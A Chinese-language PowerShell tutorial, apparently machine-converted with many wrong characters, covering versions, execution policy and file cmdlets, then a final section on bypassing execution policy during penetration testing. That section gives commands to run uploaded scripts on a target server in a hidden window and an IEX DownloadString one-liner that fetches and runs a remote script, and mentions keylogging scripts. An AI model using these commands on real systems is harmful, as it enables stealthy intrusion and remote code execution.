powershell 基礎

Windows powershell是一種命令行外殼程序和腳本環境,它內置在win7以上版本的操做系統中,使命令行用戶和腳本編寫者能夠利用.NET Framework的強大功能。powershell程序能夠直接在內存中運行,能夠做爲命令提示符cmd.exe的擴充。
 
查看powershell版本信息
Get-Host 或者 $PSVersionTable.PSVersion
 
基本概念
1. .ps1文件
一個powershell 腳本其實就是一個包含了多個powershell命令的簡單的文本文件,每一個命令顯示爲獨立的一行。
 
2.執行策略
爲防止惡意腳本的運行,powershell 有一個執行策略,默認狀況下該執行策略被設置爲受限。
在powershell 腳本沒法執行時,可使用下面的cmdlet命令肯定當前的執行策略。
Get-ExecutionPolicy
Restricted: 腳本不能運行(默認設置)
RemoteSigned: 本地建立的腳本能夠運行,但從網上下載的腳本不能運行(擁有數字簽名的除外)
AllSigned: 僅當腳本由受信任的發佈者簽名時才能運行
Unrestricted: 容許全部的script腳本運行
 
經過如下cmdlet能夠設置Powershell的執行策略
Set-ExecutionPolicy <policy nmae>
 
3.運行腳本
C:\test\1.ps1
.\2.ps1
 
4.管道
前一個命令的輸出做爲後一個命令的輸入
假設須要中止目前全部以「p」開頭的程序
get-process p* | stop-process
 
 
1、基本命令
以文件操做爲例
1.新建目錄
New-Item whitecellclub-ItemType Directory
2.新建文件
New-Item light.txt-ItemType File
3.刪除目錄
Remove-Item whitecellclub
4.顯示文件內容
Get-Content test.txt
5.設置文本內容
Set-Content test.txt-Value"Hello World!"
6.追加內容
Add-Content light.txt-Value"i love you"
7.清除內容
Clear-Content test.txt
 
2、執行策略
獲取執行策略
Get-ExecutionPolicy
策略分如下幾種:
Restricted: 腳本不能執行(默認)
RemoteSigned: 本地建立的腳本能夠運行,但從網上下載的腳本不能運行(擁有數字證書籤名的除外)。
AllSigned: 僅當腳本由受信任的發佈者簽名時才能運行。
Unrestricted: 容許全部的script運行
可使用以下命令格式設置PowerShell的執行策略
Set-ExecutionPolicy <Policy name>
 
命令行下輸入powershell進入powershell命令行,輸入help查看幫助信息。
 
3、繞過策略來執行腳本
若是要運行PowerShell腳本程序,必須用管理員權限將Restricted策略改爲Unrestricted,因此,在滲透時,須要採用一些方法繞過策略來執行腳本
 
1.繞過本地權限執行
上傳xxx.ps1到目標服務器,在CMD環境下,在目標服務器本地執行該腳本
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
2.本地隱藏繞過權限執行腳本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File xxx.ps1
3.用IEX下載遠程PS1腳本繞過權限執行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Nonl IEX (New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]
 
以上命令的參數說明:
ExecutionPolicy Bypass : 繞過執行安全策略,這個參數很是重要,在默認狀況下,PowerShell的安全策略規定了PowerShell不容許運行命令和文件。經過設置這個參數,能夠繞過任意一個安全規則。在滲透測試中,基本每一次運行PowerShell腳本時都要使用這個參數。
WindowStyle Hidden : 隱藏窗口
NoLogo : 啓動不顯示版權標誌的PowerShell
NonInteractive (-Nonl) : 非交互模式,Po
werShell不爲用戶提供交互的提示
NoProfile (-Nop): PowerShell控制檯不加載當前用戶的配置文件
Noexit : 執行後不退出Shell。這在使用鍵盤記錄等腳本時很是重要。
PowerShell腳本在默認狀況下沒法直接運行,這時就可使用上述三種方法繞過安全策略,運行PowerShell腳本。
相關文章
相關標籤/搜索